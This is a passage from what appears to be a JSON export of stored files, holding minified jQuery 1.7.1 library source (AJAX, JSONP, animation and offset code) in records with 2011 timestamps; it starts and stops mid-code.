d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend\u0026\u0026(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,\"No Transport\");else{v.readyState=1,t\u0026\u0026g.trigger(\"ajaxSend\",[v,d]),d.async\u0026\u0026d.timeout\u003e0\u0026\u0026(q=setTimeout(function(){v.abort(\"timeout\")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s\u003c2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+\"=\"+encodeURIComponent(b)};c===b\u0026\u0026(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery\u0026\u0026!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join(\"\u0026\").replace(bD,\"+\")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\\=)\\?(\u0026|$)|\\?\\?/i;f.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){return f.expando+\"_\"+cd++}}),f.ajaxPrefilter(\"json jsonp\",function(b,c,d){var e=b.contentType===\"application/x-www-form-urlencoded\"\u0026\u0026typeof b.data==\"string\";if(b.dataTypes[0]===\"jsonp\"||b.jsonp!==!1\u0026\u0026(ce.test(b.url)||e\u0026\u0026ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l=\"$1\"+h+\"$2\";b.jsonp!==!1\u0026\u0026(j=j.replace(ce,l),b.url===j\u0026\u0026(e\u0026\u0026(k=k.replace(ce,l)),b.data===k\u0026\u0026(j+=(/\\?/.test(j)?\"\u0026\":\"?\")+b.jsonp+\"=\"+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g\u0026\u0026f.isFunction(i)\u0026\u0026a[h](g[0])}),b.converters[\"script json\"]=function(){g||f.error(h+\" was not called\");return g[0]},b.dataTypes[0]=\"json\";return\"script\"}}),f.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/javascript|ecmascript/},converters:{\"text script\":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter(\"script\",function(a){a.cache===b\u0026\u0026(a.cache=!1),a.crossDomain\u0026\u0026(a.type=\"GET\",a.global=!1)}),f.ajaxTransport(\"script\",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName(\"head\")[0]||c.documentElement;return{send:function(f,g){d=c.createElement(\"script\"),d.async=\"async\",a.scriptCharset\u0026\u0026(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e\u0026\u0026d.parentNode\u0026\u0026e.removeChild(d),d=b,c||g(200,\"success\")},e.insertBefore(d,e.firstChild)},abort:function(){d\u0026\u0026d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal\u0026\u0026ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a\u0026\u0026\"withCredentials\"in a})}(f.ajaxSettings.xhr()),f.support.ajax\u0026\u0026f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType\u0026\u0026h.overrideMimeType\u0026\u0026h.overrideMimeType(c.mimeType),!c.crossDomain\u0026\u0026!e[\"X-Requested-With\"]\u0026\u0026(e[\"X-Requested-With\"]=\"XMLHttpRequest\");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent\u0026\u0026c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d\u0026\u0026(e||h.readyState===4)){d=b,i\u0026\u0026(h.onreadystatechange=f.noop,cf\u0026\u0026delete ch[i]);if(e)h.readyState!==4\u0026\u0026h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n\u0026\u0026n.documentElement\u0026\u0026(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=\"\"}!j\u0026\u0026c.isLocal\u0026\u0026!c.crossDomain?j=m.text?200:404:j===1223\u0026\u0026(j=204)}}}catch(p){e||g(-1,p)}m\u0026\u0026g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf\u0026\u0026(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d\u0026\u0026d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\\-]=)?([\\d+.\\-]+)([a-z%]*)$/i,cp,cq=[[\"height\",\"marginTop\",\"marginBottom\",\"paddingTop\",\"paddingBottom\"],[\"width\",\"marginLeft\",\"marginRight\",\"paddingLeft\",\"paddingRight\"],[\"opacity\"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu(\"show\",3),a,b,c);for(var g=0,h=this.length;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=d.style.display,!f._data(d,\"olddisplay\")\u0026\u0026e===\"none\"\u0026\u0026(e=d.style.display=\"\"),e===\"\"\u0026\u0026f.css(d,\"display\")===\"none\"\u0026\u0026f._data(d,\"olddisplay\",cv(d.nodeName)));for(g=0;g\u003ch;g++){d=this[g];if(d.style){e=d.style.display;if(e===\"\"||e===\"none\")d.style.display=f._data(d,\"olddisplay\")||\"\"}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(cu(\"hide\",3),a,b,c);var d,e,g=0,h=this.length;for(;g\u003ch;g++)d=this[g],d.style\u0026\u0026(e=f.css(d,\"display\"),e!==\"none\"\u0026\u0026!f._data(d,\"olddisplay\")\u0026\u0026f._data(d,\"olddisplay\",e));for(g=0;g\u003ch;g++)this[g].style\u0026\u0026(this[g].style.display=\"none\");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a==\"boolean\";f.isFunction(a)\u0026\u0026f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(\":hidden\");f(this)[b?\"show\":\"hide\"]()}):this.animate(cu(\"toggle\",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(\":hidden\").css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1\u0026\u0026f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c\u0026\u0026f(this).is(\":hidden\"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g\u0026\u0026(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing\u0026\u0026b.specialEasing[g]||b.easing||\"swing\";if(h===\"hide\"\u0026\u0026d||h===\"show\"\u0026\u0026!d)return b.complete.call(this);c\u0026\u0026(g===\"height\"||g===\"width\")\u0026\u0026(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,\"display\")===\"inline\"\u0026\u0026f.css(this,\"float\")===\"none\"\u0026\u0026(!f.support.inlineBlockNeedsLayout||cv(this.nodeName)===\"inline\"?this.style.display=\"inline-block\":this.style.zoom=1))}b.overflow!=null\u0026\u0026(this.style.overflow=\"hidden\");for(i in a)j=new f.fx(this,b,i),h=a[i],cn.test(h)?(o=f._data(this,\"toggle\"+i)||(h===\"toggle\"?d?\"show\":\"hide\":0),o?(f._data(this,\"toggle\"+i,o===\"show\"?\"hide\":\"show\"),j[o]()):j[h]()):(k=co.exec(h),l=j.cur(),k?(m=parseFloat(k[2]),n=k[3]||(f.cssNumber[i]?\"\":\"px\"),n!==\"px\"\u0026\u0026(f.style(this,i,(m||1)+n),l=(m||1)/j.cur()*l,f.style(this,i,l+n)),k[1]\u0026\u0026(m=(k[1]===\"-=\"?-1:1)*m+l),j.custom(l,m,n)):j.custom(l,h,\"\"));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!=\"string\"\u0026\u0026(d=c,c=a,a=b),c\u0026\u0026a!==!1\u0026\u0026this.queue(a||\"fx\",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]\u0026\u0026g[b].stop\u0026\u0026b.indexOf(\".run\")===b.length-4\u0026\u0026h(this,g,b);else g[b=a+\".run\"]\u0026\u0026g[b].stop\u0026\u0026h(this,g,b);for(b=e.length;b--;)e[b].elem===this\u0026\u0026(a==null||e[b].queue===a)\u0026\u0026(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)\u0026\u0026f.dequeue(this,a)})}}),f.each({slideDown:cu(\"show\",1),slideUp:cu(\"hide\",1),slideToggle:cu(\"toggle\",1),fadeIn:{opacity:\"show\"},fadeOut:{opacity:\"hide\"},fadeToggle:{opacity:\"toggle\"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a\u0026\u0026typeof a==\"object\"?f.extend({},a):{complete:c||!c\u0026\u0026b||f.isFunction(a)\u0026\u0026a,duration:a,easing:c\u0026\u0026b||b\u0026\u0026!f.isFunction(b)\u0026\u0026b};d.duration=f.fx.off?0:typeof d.duration==\"number\"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue=\"fx\";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)\u0026\u0026d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1\u0026\u0026f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step\u0026\u0026this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null\u0026\u0026(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b===\"auto\"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?\"\":\"px\"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop)===b\u0026\u0026f._data(e.elem,\"fxshow\"+e.prop,e.start)},h()\u0026\u0026f.timers.push(h)\u0026\u0026!cp\u0026\u0026(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,\"fxshow\"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop===\"width\"||this.prop===\"height\"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,\"fxshow\"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e\u003e=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0\u0026\u0026(g=!1);if(g){i.overflow!=null\u0026\u0026!f.support.shrinkWrapBlocks\u0026\u0026f.each([\"\",\"X\",\"Y\"],function(a,b){h.style[\"overflow\"+b]=i.overflow[a]}),i.hide\u0026\u0026f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,\"fxshow\"+b,!0),f.removeData(h,\"toggle\"+b,!0);d=i.complete,d\u0026\u0026(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c\u003cb.length;c++)a=b[c],!a()\u0026\u0026b[c]===a\u0026\u0026b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,\"opacity\",a.now)},_default:function(a){a.elem.style\u0026\u0026a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each([\"width\",\"height\"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr\u0026\u0026f.expr.filters\u0026\u0026(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;\"getBoundingClientRect\"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel\u0026\u0026g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel\u0026\u0026g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)\u0026\u0026b!==i\u0026\u0026b!==h){if(f.support.fixedPosition\u0026\u0026k.position===\"fixed\")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d\u0026\u0026(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder\u0026\u0026(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible\u0026\u0026c.overflow!==\"visible\"\u0026\u0026(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position===\"relative\"||k.position===\"static\")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition\u0026\u0026k.position===\"fixed\"\u0026\u0026(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset\u0026\u0026(b+=parseFloat(f.css(a,\"marginTop\"))||0,c+=parseFloat(f.css(a,\"marginLeft\"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,\"position\");d===\"static\"\u0026\u0026(a.style.position=\"relative\");var e=f(a),g=e.offset(),h=f.css(a,\"top\"),i=f.css(a,\"left\"),j=(d===\"absolute\"||d===\"fixed\")\u0026\u0026f.inArray(\"auto\",[h,i])\u003e-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)\u0026\u0026(b=b.call(a,c,g)),b.top!=null\u0026\u0026(k.top=b.top-g.top+m),b.left!=null\u0026\u0026(k.left=b.left-g.left+n),\"using\"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,\"marginTop\"))||0,c.left-=parseFloat(f.css(a,\"marginLeft\"))||0,d.top+=parseFloat(f.css(b[0],\"borderTopWidth\"))||0,d.left+=parseFloat(f.css(b[0],\"borderLeftWidth\"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a\u0026\u0026!cx.test(a.nodeName)\u0026\u0026f.css(a,\"position\")===\"static\")a=a.offsetParent;return a})}}),f.each([\"Left\",\"Top\"],function(a,c){var d=\"scroll\"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?\"pageXOffset\"in g?g[a?\"pageYOffset\":\"pageXOffset\"]:f.support.boxModel\u0026\u0026g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each([\"Height\",\"Width\"],function(a,c){var d=c.toLowerCase();f.fn[\"inner\"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,\"padding\")):this[d]():null},f.fn[\"outer\"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?\"margin\":\"border\")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement[\"client\"+c],h=e.document.body;return e.document.compatMode===\"CSS1Compat\"\u0026\u0026g||h\u0026\u0026h[\"client\"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement[\"client\"+c],e.body[\"scroll\"+c],e.documentElement[\"scroll\"+c],e.body[\"offset\"+c],e.documentElement[\"offset\"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a==\"string\"?a:a+\"px\")}}),a.jQuery=a.$=f,typeof define==\"function\"\u0026\u0026define.amd\u0026\u0026define.amd.jQuery\u0026\u0026define(\"jquery\",[],function(){return f})})(window);","created_at":"2011-11-22T09:14:14.000Z","updated_at":"2011-11-22T09:14:14.000Z"},{"id":1945,"name":"jquery.js","body":"raw\nmime js\n/*! jQuery v1.7.1 jquery.com | jquery.org/license */\n(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){cl||(cl=c.createElement(\"iframe\"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode===\"CSS1Compat\"?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function cb(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function ca(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bE.test(a)?d(a,e):ca(a+\"[\"+(typeof e==\"object\"||f.isArray(e)?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026b!=null\u0026\u0026typeof b==\"object\")for(var e in b)ca(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function b_(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function b$(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bT,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=b$(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=b$(a,c,d,e,\"*\",g));return l}function bZ(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bP),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function bC(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?bx:by,g=0,h=e.length;if(d\u003e0){if(c!==\"border\")for(;g\u003ch;g++)c||(d-=parseFloat(f.css(a,\"padding\"+e[g]))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+e[g]))||0:d-=parseFloat(f.css(a,\"border\"+e[g]+\"Width\"))||0;return d+\"px\"}d=bz(a,b,b);if(d\u003c0||d==null)d=a.style[b]||0;d=parseFloat(d)||0;if(c)for(;g\u003ch;g++)d+=parseFloat(f.css(a,\"padding\"+e[g]))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+e[g]+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+e[g]))||0);return d+\"px\"}function bp(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bf,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)}function bo(a){var b=c.createElement(\"div\");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||\"\").toLowerCase();b===\"input\"?bm(a):b!==\"script\"\u0026\u0026typeof a.getElementsByTagName!=\"undefined\"\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bm)}function bm(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!=\"undefined\"?a.getElementsByTagName(\"*\"):typeof a.querySelectorAll!=\"undefined\"?a.querySelectorAll(\"*\"):[]}function bk(a,b){var c;if(b.nodeType===1){b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c===\"object\")b.outerHTML=a.outerHTML;else if(c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"){if(c===\"option\")b.selected=a.defaultSelected;else if(c===\"input\"||c===\"textarea\")b.defaultValue=a.defaultValue}else a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value);b.removeAttribute(f.expando)}}function bj(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d\u003ce;d++)f.event.add(b,c+(i[c][d].namespace?\".\":\"\")+i[c][d].namespace,i[c][d],i[c][d].data)}h.data\u0026\u0026(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function U(a){var b=V.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+\"defer\",e=b+\"queue\",g=b+\"mark\",h=f._data(a,d);h\u0026\u0026(c===\"queue\"||!f._data(a,e))\u0026\u0026(c===\"mark\"||!f._data(a,g))\u0026\u0026setTimeout(function(){!f._data(a,e)\u0026\u0026!f._data(a,g)\u0026\u0026(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b===\"data\"\u0026\u0026f.isEmptyObject(a[b]))continue;if(b!==\"toJSON\")return!1}return!0}function l(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(k,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\\s+/);for(c=0,d=a.length;c\u003cd;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,n=/^[\\],:{}\\s]*$/,o=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,q=/(?:^|:|,)(?:\\s*\\[)+/g,r=/(webkit)[ \\/]([\\w.]+)/,s=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,t=/(msie) ([\\w.]+)/,u=/(mozilla)(?:.*? rv:([\\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+\"\").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return 